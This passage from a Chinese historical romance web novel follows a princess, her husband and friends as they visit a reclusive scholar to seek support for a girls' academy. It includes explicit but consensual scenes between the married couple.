没想到,婧华居然知道她的去向。 萧婧华笑道:“那你等我音信。” “好。” 云慕筱重重点头。 辞别云慕筱,萧婧华回到陆府。 方坐下,她招手唤正在忙活的箬竹过来,语气郑重,“箬竹,你想离开吗?” 第94章 箬竹瞬间脸色大变,扑通一声跪在萧婧华脚下,“除了郡主身边,奴婢哪儿也不去。若是奴婢何处做的不对,郡主如何处置,奴婢都不会有丝毫怨言,只求郡主别赶奴婢走。” 说到最后,她眼里已然含了泪,声线含抖。 萧婧华惊了一瞬,猛地发觉方才话里的歧义,她一拍额头,忙将箬竹扶起,“快起来,我并非要赶你走。” 箬竹哽咽,“那郡主方才是何意?” 萧婧华道:“荒山开采,需得募工监工,我想让你跟在汤公公身边学几日,此后这事便交由你负责。” 汤正德虽能干,但他还管着王府的一大摊子事,总不好一直麻烦。思来想去,这事还是得由身边人来做才行。 萧婧华拉着箬竹的手,“你从小跟在我身边,是我最信任的人,我怎么会赶你走?” 她抬手替箬竹擦去脸上的泪,郑重问她,“此事,你可行?” 箬竹破涕为笑,重重点头,坚定道:“奴婢可以。” 萧婧华笑了,“好。” 晚上,从前院用完饭回去时天还没全黑,檐下灯笼已然亮起,与西边最后一缕晚霞相对而映。 萧婧华和陆埕走在一起,谁也没说话。 不知从何时起,喜爱热闹的她渐渐也习惯了安静。 满院花卉竞相开放,秋千上的紫藤花散发着幽香。 萧婧华忽然兴起,足下一转,坐在秋千上。 陆埕站在她身后,轻轻推了两下。 萧婧华往后瞥他一眼,没拒绝。 裙摆在空中飞扬,似波浪翻涌,又如一朵绽放的花。 她望着天边渐散的金光,神情放松舒畅。 “对了。” 想起一事,萧婧华对箬兰道:“听闻山文君喜玉,我记得库房里有方前朝时的麒麟墨玉砚,明日找出来,去拜访时记得带上。” 箬兰应下了,“好。” 背后力道微顿,陆埕不确定道:“你要去见山文君?” 萧婧华随口应,“是啊。” 山微虽隐居多年,但她早年和新昌大长公主交情不错,晚年也偶有书信往来,因此皇室一直掌握着她的行踪。 秋千不动了。 萧婧华足尖点地,扭头看向陆埕,“你想做什么?” 陆埕回神,重新推她,“什么时候去?” “或许两日后,又或许三日。” 陆埕抿唇,“后日我休沐,我……可以去吗?” 读书之人,鲜有不知山家之名。 山家文君以女子之身享誉文坛,受世人追捧,却又在声誉最盛时嫁人隐退,荣华富贵说弃就弃,这般奇女子,陆埕想见她也在情理之中。 萧婧华足尖落地,从秋千上站起,“你想去?” 陆埕点头。 她退后两步,轻轻扬唇,“让我高兴了,我就带你去。” 陆埕一怔。 高兴? 不等他反应,萧婧华已转身往院里去。 陆埕快步跟上。 回了院,萧婧华刚进屋,身后陡然传来关门声,旋即咔哒一声。 门被人栓住了。 萧婧华疑惑回头,还未看清,整个人便被猛地摁在桌上。 她瞪着陆埕,“你做什么?” 陆埕轻声,“让你高兴。” 话落,他俯身,颤抖的唇瓣贴上萧婧华。 双唇相触的刹那,两人皆是一震。 陆埕定定看着半躺在桌上的少女。 青丝散开,她凤眼瞪圆了,虽有震惊,但并无拒绝之意。 他略微放心,薄唇微张,逐渐深入。 唇齿被撬开,萧婧华第一次体验与人唇舌相触。 陆埕的动作很轻,她并无不适之意,甚至有种微妙的舒适。 眼前之人半阖着眼,神色认真,鼻尖与她相触,灼热气息打在脸上,令她指尖一颤。 萧婧华缓缓闭上眼,双手抓着陆埕肩上衣料,舌尖追逐回应,与他交缠。 桌上茶壶不知被谁带倒,茶水洒落,水落成线,沿着桌面下淌。 萧婧华偏头喘了口气,红意攀上脸颊,热得她出了汗。 缓了片晌,她正要抬手去扯陆埕的衣裳,倏尔察觉到腰带被人扯落。 裙子散开,两只手将她稳住。 懵然间,陆埕俯下了身。 他的双唇贴上来的刹那,萧婧华瞬间头皮发麻。 浑身绷紧,她在无措间攥住了他的衣袖,用力到指尖发白。 窗门紧闭,呼啸风声击打着窗棂,却涌不进一丝风流。 萧婧华全身无力,攥着他袖子的手缓缓松开,软在桌上。 意识涣散间,陆埕将她抱起,轻轻放在床榻上,随后离开。 听见水声,又等了片刻,萧婧华偏头看去,有气无力问:“你在做什么?” 陆埕喝了水,回到榻前,俯在她上空,在她眉心缓缓落下一吻。 迷蒙间,萧婧华依稀闻到他身上的淡淡药味,疑惑了一瞬,便再没功夫思考。 她跪坐在床榻上,在冲撞中注视着陆埕隐忍泛红,沉溺欲海的脸。 她想,她可能上瘾了。 …… 萧婧华许久不曾睡得这么好了。 她偏头看向一侧。 模糊间忆起,昨夜事后,她不准陆埕留宿,他当真在给她清理干净后离开了。 感受着浑身清爽,腿间弥漫着的清凉之意,萧婧华罕见地有些愧疚,因此在陆埕下值归来,询问她可否带他一道时,她没怎么思考就同意了。 陆埕起先没反应过来,愣了片刻才道:“当真?” 萧婧华道:“平白无事骗你做甚。” 陆埕唇角上扬,勾起一抹浅淡却又欢欣的笑意。 凤眸亮起,似飘在夜幕中的孔明灯,明亮而温暖。 萧婧华怔怔看着,在他转过视线时垂下眼眸,低敛的长睫盖住眸中情绪。 翌日。 萧婧华被箬兰叫醒时整个人都是昏沉的。 她近来少梦,可睡不着这事一旦开了头便好像泄了闸的洪水,怎么也止不住。 安眠香对她的作用已经微乎其微,萧婧华嫌苦,又不愿让太医开药,就这么拖着。 平时虽睡得晚,却能睡一个上午,可遇到这种需要早起的情况便极为难熬。 昨晚她独自躺在床上翻来覆去睡不着,好不容易闭眼,感觉没多久便被人叫醒了。 她痛苦起身,由着箬兰服侍着穿衣洗漱,草草吃了两口粥便和陆埕辞别了陆夫人,只带着予安和觅真出府。 钻进马车,萧婧华靠在角落里自闭。 她默默想,回来还是找个太医算了,药再苦,也比不上睡不着苦。 陆埕皱眉看着她。 平日里他起身上朝时萧婧华还睡着,因此并不知她的睡眠情况,但从休沐日的零散观察来看,她晚间似是睡得并不好。 陆埕挪过去,轻轻触碰她的肩膀。 睡眠不好的人脾气多少会受到影响,萧婧华睁眼,语气不善,“做什么?本郡主准许你碰我了?” 陆埕将她头靠在自己肩膀上,低声道:“我还没见着山文君,还需让你高兴。” 他揽着她,手搭在她肩上,一下又一下轻柔地拍着。 嗓音温柔诱哄,“……睡吧。” 萧婧华抬头,目光落在他脸上。 从精致完美的侧脸挪到低垂的认真眉眼。 她缓缓闭眼。 萧婧华睡得很沉,直到马车到达城门口与云慕筱回合前她才幽幽转醒。 身子犯懒,她不想动,就这么靠着陆埕打了个哈欠。 “婧华!” 外边响起谢瑛的声音,车帘子被人拉起,萧婧华看过去,目光与来人相对。 瞧见车里靠在一处的两人,谢瑛面色尴尬,讪讪放下车帘。 “……打扰了。” 萧婧华:“……” 她若无其事放下手,直起身从陆埕怀里离开,把他往旁边推了推。 陆埕端起桌上糕点,“可饿了?你早上没吃多少。” 萧婧华还真饿了。 她捏了两块云片糕小口吃着。 将糕点吃完,又喝了口茶,心情已经整理好了,萧婧华撩起车帘,“阿瑛,筱筱。” 对面车里露出云慕筱的脸,她问:“现在走?” 萧婧华摇头,“还需等个人。” 车里响起谢瑛的声音,“等谁啊?” 她的话刚落,远处便有两匹马朝此处跑来。 看清马上之人,萧婧华眼睛一亮,“到了。” 她半边身子钻出车窗,用力挥手,“太子哥哥,我们在这儿!” “当心。” 陆埕两只手稳住她的腰。 萧长瑾勒马,在两辆马车间停下。 手掌挽着缰绳,余光扫过云慕筱,他对萧婧华道:“怎么还跟个小姑娘似的,快回去,当心摔了。” 萧婧华笑道:“好。” 她缩了回去,露出陆埕的身影。 “殿下。” 云慕筱和谢瑛也道:“见过殿下。” “不必拘礼,出发吧。” 萧长瑾笑容温和,扯着缰绳走在前头。 钟文落在最后。 予安谢春驾马,两辆马车依次出城。 走出城门没多久,谢春驾着马车追上。 萧婧华听见谢瑛唤她,“婧华。” 一转头,谢瑛目光炯炯地趴在车窗上。 她同样趴着和她说话,“怎么了?” 谢瑛问:“太子殿下怎么也去?” 萧婧华道:“山文君的避世之所我并未去过,不过太子哥哥倒是替姑祖母送过一次东西,若没有他带路,我怕自己找不对地方。” “原来如此。”谢瑛点头。 萧婧华往她身后递了个眼神。 是筱筱让问的? 谢瑛挤眉弄眼,清了清嗓子,意味深长地点了下头。 萧婧华憋笑。 …… 出了京往南走,穿过县城,萧长瑾带着人进了个村子。 已过了正午,村中家家户户飘起炊烟,不少农户直接坐在田埂上捧着碗吃饭,见到两辆华贵马车经过,纷纷探眼过去,一脸的好奇。 萧婧华很少见到这般景象,掀起帘子一角往外看。 青山碧影下,成片的田连着,地里种着她不认识的庄稼,农户们或是站在树下,或是立在田间休息。有的直接躺在草丛中,双手枕在脑后,翘腿看着天。 路上,有小姑娘三三两两结伴而行,手中拎着篮子给家中长辈送饭,身后一群孩童欢呼追逐着,有个小男孩不甚摔倒在地,他飞快爬起来,拍拍身上的泥,扬着笑脸又追了上去。 马车行过,扎着粗辫子的小姑娘目光和萧婧华对上,带着几分怯垂下了眼,快步往前走。 萧婧华看着她走远。 穿过村子,萧长瑾在一间农家小院前停下。 院子用篱笆围着,里头起了三间房,看着很是宽敞。 听见动静,有人从里边快步走出。 见了人,萧长瑾笑道:“冯婶子可还记得孤……我?” 眼前的中年女子头发用布包着,虽身着粗衣,但浑身干净整洁,看得出是个讲究人。立在院中细细打量了萧长瑾两眼,她不确定道:“是……萧公子?” 这般人物,哪怕是好几年前只见过一脸,她也印象深刻。 “是我。”萧长瑾温声。 冯婶子当即笑了,将院门打开,请人进来,“萧公子是来探望长辈?” 萧长瑾含笑道:“不错,这次带了家中妹妹妹夫,路过来向婶子讨口饭。” 他下了马,塞给冯婶子一个钱袋,“我这几个妹妹有些挑剔,还望婶子费心。” 沉甸甸的一袋子银子,起码得有二十多两,冯婶子慌忙推辞,“这、这也太多了,使不得,使不得啊。” 萧长瑾坚持,“我们人多,婶子就收下吧。” 冯婶子还想拒绝,抬头见萧婧华几人从马车里出来,当即瞪圆了眼。 我滴个乖乖,这么几个天仙似的姑娘,一顿饭吃二十两银子似乎也说得过去。 她收了银子,扭头朝屋里喊,“老大媳妇,老二媳妇,赶紧杀鸡宰鸭,招待贵客。” 里头响起两道人声,“好嘞娘。” 冯婶子忙请众人进屋。 萧长瑾道:“上回孤来时在此处停歇,这一家人都还不错,咱们用了午膳再进山。” 几人都没什么异议。 萧长瑾打头,谢瑛带着云慕筱跟在他身后。 萧婧华刚走一步便停下了,陆埕拉住她的手,牵着她往里。 马车坐久了有些昏沉,萧婧华站在院里不走了。 她不动,陆埕自然也停下。 乡野间的空气总是格外清新,院里一簇红娇艳欲滴,萧婧华正要走过去,突然一声鸡叫把她吓得一抖。 陆埕忙揽着她,低声道:“没事,别怕。” 里边响起谢瑛兴奋地要帮忙的声音,萧婧华白他一眼。 “谁怕了?” 她推开陆埕,走到那簇花前。 冯婶子端着水出来,见状笑道:“这是我那小孙女种着玩的,村里都叫它新娘花。” 萧婧华指尖拨弄鲜艳五角花瓣,“它唤作茑萝。” “‘茑与女萝,施于松柏。’①这家人瞧着很是和睦,倒是应景。”云慕筱从屋里出来。 “你们怎么知道它叫茑萝?” 怯怯的声音响起,两人同时循声望去。 小姑娘站在院外,神色胆怯,却鼓起勇气问道。 萧婧华眉头微动,是方才那个小姑娘。 云慕筱笑道:“自然是在书上看的。” 小姑娘又问:“书上还会教人如何辨花吗?” “是啊。” 云慕筱道:“书有万物,凡是你想知道的,皆在其中。” 小姑娘神色懵懂。 冯婶子站在门边喊:“大丫,快过来帮忙,别惊扰了贵客。” 陈大丫“诶”了一声,从院子里小跑过去。 萧婧华蹙眉,“乡下给姑娘取名,都这么敷衍?” 大丫,这能算名字吗? 陆埕开口,“贱民好养活,若是男孩,还有狗蛋铁蛋之名。” 萧婧华抖了抖肩,难以接受。 午膳冯婶子亲自操刀,有鸡有鸭有鱼,再加上几盘农家时蔬野菜,很是丰盛。 萧婧华和云慕筱吃的不多,吃完便在院子里散步。 陈大丫从门外探出半个脑袋,悄悄看着她们。 萧婧华注意到了,伸手招呼她过来,问道:“你想读书吗?” 陈大丫点了点头,又摇头,“只有男娃才能读书,我不能读。” “谁说的?”萧婧华指了指自己和云慕筱,“我和这位姐姐都读过书。” 云慕筱含笑颔首。 陈大丫看看这个又看看那个,一脸惊奇。 萧婧华道:“我有家书院,能让你读书。” “真的?”陈大丫一脸惊奇。 “当然。不过……” 萧婧华笑了,“还在修建中,多则三年,少则两年,就能让姑娘们读书。你若是想,到时也可以去。” “婧华。” 萧长瑾在唤她,“该走了。” “好。” 萧婧华应声,低头对陈大丫道:“希望到时,我能见到你。” 她挽着云慕筱,转身走向萧长瑾和陆埕。 陈大丫望着他们的背影,眼睛眨啊眨。 再往上马车去不了,萧长瑾把钟文和予安觅真谢春几人留下,让他们看着马车,带着萧婧华几人徒步进山。 山路难行,谢瑛带着云慕筱,萧婧华起初还不肯让陆埕搀着,后来直接半边身子都压在了他身上。 见他都没怎么喘气,她默想,这人还真是让人刮目相看。 走了快两个时辰的山路,萧长瑾道:“到了。” 萧婧华用陆埕的袖子擦了擦额上的汗,抬头望去。 小路两侧青竹丛丛,一栋木屋隐在婆娑竹影后。 走近了一看,木屋前开了一块田,各色花卉争奇斗艳,五彩斑斓。蝴蝶成群,相映成趣。 院中木椅上躺着一人。 岁月不败美人,她一身月白色素衣,用木簪绾起的长发中满是雪色,分明已是花甲之年,眼中却不见年老疲态。 她悠悠转醒,瞧了几人一眼,随后朝外喊道:“阿沐,来客人了。” 不远处,田畦成片,绿野之中有人直起身子,收了锄头,缓步走来。 第95章 萧长瑾率先上前,拱手作揖,“见过夫人。” 几人也纷纷见礼。“见过夫人。” 山微躺在竹椅中,随意道:“都进来吧。” 目光从几人身上扫过,她笑道:“幸好屋子够多,不然今晚恐怕住不下了。” 刚站起身,走近的人便道:“我去,你躺着。” 那是个年过花甲,精神矍铄的老爷子,腰背依然挺得极直,一身黑色短衣,身量极高,竟比萧长瑾和陆埕还要高半个头。 从面容看,年轻时也是个俊俏的少年,气质平和,手里握着把锄头。黑黝眼珠子似幽深古井,不起波澜,唯有在看向山微时显出光亮。 萧长瑾笑着,“我随沐老爷子去。” 陆埕也道:“晚辈也去。” 阿沐看了两人一眼,面色平淡点头。 三人进了屋,山微神色慈和,“那是我家老头子,单字一个沐,你们唤他沐爷爷就好。” 她重新坐下,指着檐下几根竹凳,“坐吧,我这儿简陋,都将就将就。” 谢瑛快步过去,一把捞过三根竹凳递给萧婧华和云慕筱。 坐下后,她好奇问:“夫人,我瞧沐爷爷不似寻常人,不知他年轻时是做的什么营生?” “他啊。”山微面带回忆,唇角露出笑,“是个杀手。” “啊?” 三人震惊。 世人皆道山文君为了一个名不见经传的乡野村夫背离家族,从此隐世而居,谈论起此事时多是惋惜与恨铁不成钢,顺带唾弃她的夫婿。 可他竟是个杀手? “那都是年轻时的事了。”山微笑着,“行了,不说他。” 她看向萧婧华,目光深远,似是透过她看见了另一个人。 良久,她叹道:“你与你的姑祖母生得倒是有几分相似。我和她年轻时有些交情,你们若是愿意,便也唤我一声姨祖母吧。” 萧婧华从善如流,“姨祖母。” 云慕筱双眼明亮,有些紧张开口,“云家慕筱,见过山……姨祖母。” 谢瑛倒是大大方方的,嗓音极为清亮,“敬国公府谢瑛,见过姨祖母。” 山微不解,“你们一个姓云,一个姓谢,怎么出自同一家?” 谢瑛道出二人的出身。 “原来如此。”山微笑了,“你这性子,该是合新昌的胃口。” 谢瑛将这当成夸奖,一脸骄傲,“大长公主确实夸过我。” 山微笑着摇头,问萧婧华,“方才进去那个少年人,是你什么人?” 萧婧华咳了一声,“他叫陆埕,是我的……夫婿。” “哦?”山微来了兴趣,“性子虽与你姑祖母不太像,但看男人的眼光倒是一般无二。” 萧婧华微怔,“这是何意?” 山微目光调侃,“都喜欢清俊少年。” 或许是今日得见故友家的小辈,她忽然来了谈兴,忍不住说些往事,“当年你姑祖母和姑祖父的事,真是令我拍手称绝。” 山微忍俊不禁,“你姑祖母掌了一段时日的金吾卫,上值第一日便把一群世家子弟揍得鼻青脸肿,因她身份高贵,那些纨绔子不敢明着报复,却在背地里泼她脏水。” “说什么新昌公主貌若无盐,五大三粗,膀大腰圆,如牛头马面临世。”山微笑着摇头,“她性子洒脱,并不在意此事,一门心思只管练自己的兵。谁想两年后,太。祖给她赐了婚,驸马还是谢家三郎。” “谢氏乃是豪族,谢三郎是谢老夫人高龄所诞,生下来便体弱多病,他的嫡亲兄长,当时的谢家家主不知喂了他多少珍品汤药,才把他拉扯长大。” “谢三郎虽体弱,却生得极为出众。” 谢瑛搭话,眼睛发亮,“我年幼时见过驸马几次,确是世间难得一见的美男子。” “可不是。”山微笑着说:“当时京城皆道,苍山负雪,不及三郎一顾。因此赐婚圣旨下达后,姑娘们暗恨一朵仙花插在了牛粪上。” 萧婧华迟疑,“那牛粪,说的该不会是我姑祖母吧?” “就是她!” 山微拍腿,朗笑出声。 “不仅城里的姑娘,这场婚事的双方皆不满意。她萧清晏生性豁达,最不喜柔弱男子,成婚当日正逢南方谋逆,她脱了嫁衣,丢下新郎官,竟是直接平乱去了。” “然后呢?”谢瑛迫不及待问。 云慕筱亦是听得双眼晶亮。 去边关后,她也随长辈去拜访过大长公主,却不知她年轻时竟有这般经历。 “然后啊。”山微道:“平叛归来后,她偶遇谢三郎,对人一见钟情,殷勤得不行,甚至谋算着和离后与他成就好事,谁知谢三郎听了当场黑了脸,气得隔日便回了老家。” “她啊,只能眼巴巴追上去了。” 山微笑得眼睛都快眯成缝。 三个姑娘亦是忍俊不禁。 “这人啊。”山微不免感慨,“说话做事最好留个余地,瞧你姑祖母,这不是打脸嘛。” 说完旧事,她这才问道:“你们今日来看望我这老婆子,可是有什么要紧事?” 萧婧华简单说了书院一事。 山微听后沉吟许久。 “你有此志向是好事,你来这儿的目的我也大概清楚了。只是我这把老骨头还不知能活多少年,只想在这山中了却此生。你们年轻人的事,就交给年轻人去做吧。” 山微温和笑着看向云慕筱,“云家的姑娘,教些孩子绰绰有余了。” 云慕筱面色微红。 萧婧华并不失望,山微年事已高,她并无意让她出山。 “婧华知姨祖母隐世之志,此行只想求一件墨宝。”她笑道:“姨祖母虽不现世,但仍有不少仰慕者,有您的墨宝在,我那书院可是要热闹了。” 哪怕不来任教,光是来看看,便已受益匪浅。 山微大气,“行,我明日便给你。” 萧婧华道谢,“那便多谢姨祖母了。” “小事而已。” 山微忽然叹道:“不过说起教书,我倒是有个合适的人选。” “哦?”萧婧华一喜,“不知是何人?” 山微道:“她姓纪,名淑然,是我年轻时收的弟子。才气虽不及云家霁礼,可论这教习的功夫,便是两个云霁礼也比不上她。” 云霁礼,云家二爷,也就是云慕筱和谢瑛的二叔,时任国子监祭酒。 云慕筱好奇问:“不知这位纪夫人现下在何处?” 在她看来,二叔育人的本领已是一等一的,若那位纪夫人更胜一筹,若能请她来做夫子,对书院来说不啻于如虎添翼。 山微叹声里含着痛惜,“失踪了。她当初回乡看望母亲,临走前说要给我带她母亲亲手做的佳酿,可一去不复返,十多年不见音信,我让阿沐去查,一直没有消息。” 这么久不见,想来应是遇到不测了。 云慕筱没再追问。 萧婧华却皱起了眉,“姨祖母可知纪夫人的家乡在哪儿?” 山微道:“在营州,具体哪处我记不太清了。” 萧婧华一怔。 营州,怎么又是营州? 萧长瑾告诉她,那伙山匪最后一次出现也是在营州。 营州究竟藏着什么秘密? 山微年纪大了精神不济,和几人说了会儿话便昏昏欲睡,谢瑛将她扶进房休息时,阿沐带着萧长瑾和陆埕也出来了。 见状,阿沐留了一声“你们随意”,便牵着山微回了房。 萧婧华坐在院里沉思,谢瑛拉着云慕筱要去周边看风景,“婧华,你去吗?” 她摇了摇头。 萧长瑾抬脚就要跟上,萧婧华忙叫住他,“哥哥,我有话和你说。” 走向她的陆埕一顿,脚步一转,识相离开。 萧长瑾想起什么,“差点忘了,孤也有话要对你说。” 萧婧华好奇道:“什么?” “宣远伯夫人身边出现了一名女子。”萧长瑾在她身边落座,“巧的是,那女子还带着一名一岁左右的婴孩。” 萧婧华蹙眉,“难道是……邵嘉远的外室和私生子?” 萧长瑾点她眉心,“婧华聪慧。” 萧婧华面露厌恶,“他还真是打的好算盘。” “那名女子,你也认识。” 萧婧华惊讶,“我也认识?” “嗯。”萧长瑾颔首,“她名唤杨柔,曾是教坊一名乐人。” “是她?” 萧婧华想起来了。 忆起当初邵嘉远曾在她面前举荐杨柔,她不由蹙起眉心。 让自己的外室来取悦她,邵嘉远真行。 不知杨柔知道这事作何感想,反正她被恶心得不行。 萧婧华道:“她们想做什么?难不成宣远伯夫人要联合儿子的外室把我这个‘杀子仇人’告上公堂?” 前一阵邵嘉远的尸体被发现了,在河里泡了那么久,早已面目全非,就连仵作都查不出他的死因,只能归为掉下悬崖后受到重击,在水中被溺死。 萧婧华听过后简单感慨一声陆埕够手段。 至于宣远伯府会不会来找她麻烦,她完全不放在心上。 萧长瑾拍她头,“放心,她们没这个胆子。” 低垂的长睫盖住眼中暗色。 这两人的确胆大包天,若非他提前发现将事捅到宣远伯那儿去,她们还真有可能把萧婧华告上公堂。 萧婧华被恶心坏了,一时连营州的事也忘了问,拖着萧长瑾站起,把他往云慕筱姐妹离开的方向推去。 “好了,哥哥你快去吧。” 萧长瑾失笑,“好。” 萧婧华目送他快步追去,视线一转,瞧见了负手立在竹下看风景的陆埕。 那人察觉到她的视线,转身走来,“谈完了?” “嗯。” 陆埕没问他们谈了什么,只道:“要去附近转转吗?” 萧婧华拒绝。 夜里睡不好,白日便容易犯困,就这么一会儿的功夫,她便困了。 躺在山微方才的竹椅上,萧婧华闭眼打瞌睡。 日光溶溶,照在人身上时带着些微暖意,清风拂来,带起一片竹涛声,她在鸟语花香里缓缓入睡。 意识昏沉间,身侧好像有人一直守着她,替她摘去飘落的竹叶,无声陪伴。 …… 山微老两口年事已高,日常虽是自己动手做饭,但他们这么多人,怎么也不好劳累老人家。 于是太子郡主国公府小姐纷纷聚在狭小的厨房里。 萧婧华会做糕点,但着实不会弄菜,云慕筱就更不必说了,自小学的是琴棋书画,诗书礼仪,敬国公夫人怕她糙了手,从不允她进厨房。 至于谢瑛,让她舞刀弄枪还行,烹饪之事简直一窍不通。 因此,今夜掌勺的乃是陆埕。 萧长瑾生火,萧婧华几个姑娘负责择菜洗菜。 山微进来看过一眼,见他们几个动作虽不熟练,但还像模像样的,放心离去。 山中多野物,加之老两口的子女不时进山看望父母,留下许多吃食,这一顿很是丰盛。 陆埕的手艺很是不错,汤鲜味美,宾主尽欢。 晚膳过后,陆埕和萧长瑾、云慕筱围在山微身旁听她说史,萧婧华和谢瑛对此不感兴趣,蹲在院子里的花田前闲聊。 谢瑛忽然撞了下萧婧华,“我回来时你睡着了,陆大人就守在你身边,眼睛都没动一下,不是给你摘落叶就是给你遮光,他还挺温柔的。” 萧婧华眼睫半阖。 陆埕以前,就是一个温柔的人啊。 她抛下杂乱思绪,笑道:“你一个人回来的?就留了他们俩在那儿?” “可不是。” 谢瑛苦恼道:“每次走在他们身边,我就觉得浑身不自在,索性想了个理由自己走了。” 萧婧华笑,“那看来,我快有嫂嫂了。” 谢瑛叹气,语气怅惘,“筱筱居然也要嫁人了。” 这话听着怎么这么像要嫁女儿的娘亲? 萧婧华正要安慰,谢瑛蹭地站起,“早知道该让钟统领也跟着上山,我想跟他打架很久了。” 萧婧华:“……” 念着萧婧华和陆埕是夫妻,阿沐在收拾屋子时直接给他们二人安排了一个屋。 出门在外,容不得她任性,萧婧华安慰自己只有一晚。 以往欢好后,她从不准陆埕留宿,头一次和他躺在一张床上,加之下午小憩了片刻,萧婧华原以为自己仍会失眠,可怪的是,闻着他的气息,她竟不知不觉昏昏欲睡。 迷糊间,察觉到手被人握住,萧婧华正要收回来,却听他口中小声哼唱。 低低的轻柔歌声绕在耳侧,意识逐渐沉入黑暗。 她睡着了。 …… 翌日上午,几人准备辞行。 山微拿了张卷轴出来,递给萧婧华。 她打开,“开源”二字映入眼帘,行云流水似游龙腾飞,隽秀潇散,恍惚间,眼前似有山岚散去,两峰之间有瀑布奔腾而下,生命源长。 山微笑着指着阿沐抬出的书箱,“这是我这些年的手札批注,你一并带下山去吧。” 萧婧华收好卷轴,郑重施了一礼,“姨祖母大义,萧婧华感激不尽。” 山微笑了,“你既称我一声姨祖母,总不能让小辈白跑一趟。” “我觉得,纪夫人或许尚在人世,倘若有了消息,我再来拜访。” 山微愣了片刻,眼角湿润,“好,有劳你了。” 到她这个年纪,极少有事能放不下,唯有这个弟子,午夜梦回时,总让她揪心。 阿沐站在山微身旁,握住她的手。 山微拂了拂眼睛,“这书箱重,让阿沐送你们下山吧。” “不必劳烦沐爷爷了。” 谢瑛抢先几步,笑着一把扛起书箱,“我一个人就行,姨祖母,沐爷爷再会。” 云慕筱福身,“此行收获匪浅,慕筱感激不尽。” 山微笑着看着几个孩子,“去吧,再晚就赶不上进城了。” 几人拜别,往山下去。 蓝天碧云之下,苍山幽幽,竹影深深,两道人影立在树下,遥遥望着他们的身影。 竹涛阵阵,花香弥漫,经久不散。 第96章 钟文几人守在山下,见谢瑛扛着木箱下来,谢春忙上去帮忙。 “把箱子放进婧华马车。” 谢瑛吩咐了一声。 谢春:“是。” 萧长瑾抬首望天,“时辰尚早,现在就出发吧。” 萧婧华正要登上马车,角落里一个小身影炮仗似的冲了出来,在她面前停下。 小姑娘神色有些不安,双手慌乱绞着,脚下碾着落叶,活像只骤然见了人受到惊吓的小兔子。 小兔子鼓起勇气问她,“我可以问问,那个书院叫什么名字吗?” 萧婧华笑道:“它叫开源。” 陈大丫歪头不解,“开源?” “是啊。” 萧婧华蹲下身,捡了根树枝,在地上一笔一划地写。 “开源,是河流的源头,是新生,也是初始。” 陈大丫盯着地上的字看。 萧婧华丢了树枝,认真看着她,双眼弯弯,“以后,你会知道的。” 陈大丫抬起小脸,露出一个腼腆的笑。 “好了,快回去吧。”萧婧华站起身。 陈大丫点点头,小声说了“谢谢”,一溜烟跑没影了。 萧婧华转身,见众人都看着她,不解道:“都看着我作甚,走啊。” 萧长瑾失笑,率先翻身上马。 云慕筱和谢瑛也进了马车。 萧婧华扬了扬眉,扶着觅真的手上去。 陆埕紧随其后。 马车徐徐行驶,他低声问:“书院的名字,就这么定下了?” “开源不好听?” 萧婧华反问。 陆埕摇头,“极好。” 她开拓了一条新路,开源着实再好不过了。 “那不就得了。”萧婧华皱着鼻子哼了一声。 陆埕唇带浅笑,凝视她的侧颜。 她现在,也极好。 …… 回到陆府已近傍晚,陆夫人算着他们将要归来,早命人将饭食备好,等人一进家门就能吃上热饭。 萧婧华一见她便迎上去,亲亲热热地挽住陆夫人的手,“娘等很久了?” 陆夫人眉开眼笑道:“没,还不到一炷香。此行可还顺利?” “顺利。” 萧婧华说着,携了陆夫人进屋,两人完全把陆埕扔在了后头。 跟出来的孟年同情瞥他一眼,假模假样问:“大人此行可还顺利?” 陆埕冷淡点了下头,越过他追上前头的婆媳俩。 孟年:“……” 他就多余问这一嘴。 用过晚饭,萧婧华回了屋。 箬兰箬竹早就候着了,见了她忙上前伺候。 由着箬竹替她脱下外衫,萧婧华问:“这几日可还顺利?” 箬竹回:“顺利,起初奴婢有些手生,多亏了汤总管指点。” 萧婧华点头。 卸去钗环,她道:“箬兰,你明日回趟王府,差人去查个人。” “郡主要查什么人?” “山文君的弟子,纪淑然。据说是营州人,去查查她家乡具体在营州何处,最后一次现身又是在哪儿。” 箬兰点头,“好,奴婢知道了。” 嬷嬷抬来热水,萧婧华痛快地洗了一通。 天渐渐热了,昨夜没清洗,她总觉得身上难受,如今总算是舒服了。 在妆台前落座,箬兰为她擦头发。 擦到半干时从镜子里窥到陆埕的身影,萧婧华让箬兰退下,拿起木梳,顺着长发往下一梳,随口问道:“你这是在当门神?” 陆埕进门,往妆台上放了个木匣。 “这是什么?” 她随口一问。 陆埕轻声,“生辰礼。” 梳发的动作一顿,萧婧华半阖眼睑,眉眼淡淡,“倘若我没记错的话,我的生辰好似已经过了。” “抱歉。”陆埕解释,“原本准备的并非此物,可临到头又觉得它更合适些,便把最初的弃了。” 萧婧华抬眼。 镜子里,陆埕站在她身后,眉眼被灯光渲染出温柔。他透过镜子与她对视,双眼似宝石,即便身处黑暗,亦能生辉。 萧婧华放下梳子,缓缓打开木匣。 出乎意料的是,并非什么钗环首饰,而是一枚印章。玉做的印章有她一指长,玉色纯净,白如凝脂,上头刻的依旧是三大三小六片花瓣的不知名小花,似一只安静停留的白蝴蝶。 最下方刻着“萧婧华”三个字。 他的字极为好看,便是刻在玉上也不逊色,端正隽永,流畅遒劲。 陆埕低声道:“既然要建书院,我想你应该需要它。” 萧婧华看着手中印章。 玉色映在她眼中,似流光翻涌,繁星散朗。 她将印章收好,“多谢。” 顿了顿,萧婧华又道:“我很喜欢。” 陆埕扬唇,语气轻缓,“你喜欢便好。” 素手重新拿起木梳,一只手覆在她手背,将木梳从她手中取走。 “我来。” 陆埕动作轻柔,一下一下替她梳着长发。 萧婧华在镜中看他,不知怎的鼻尖忽然发酸,心里哗啦下雨。 她抬手止住陆埕的动作,在他低头看来时命令道:“抱我去床上。” 陆埕看了她两息,弯腰将她从凳上抱起,缓缓步入榻前。 帷幔放下,衣裙坠地。 鼻尖依稀又出现了那股淡淡的药味,可萧婧华无暇顾及,趴在陆埕身上起伏。 这几个月勤于锻炼,陆埕腰腹间覆了一层薄肌,不会太大,手感对萧婧华来说刚好。 指尖从他侧颈下滑,略微用力,留下一道红痕。 看着他蹙起的眉间,萧婧华眉眼舒展。 疼吗? 那就疼着吧。 她俯身贴着他,在他喉间重重一咬。 陆埕发出一声闷哼,力道陡然加重,萧婧华的报复心很快被撞散了,意识好似飞入云端,飘飘然落不到实处。 萧婧华不喜亲密事被人撞见,因此云。雨过后,照旧是陆埕给她清洗。 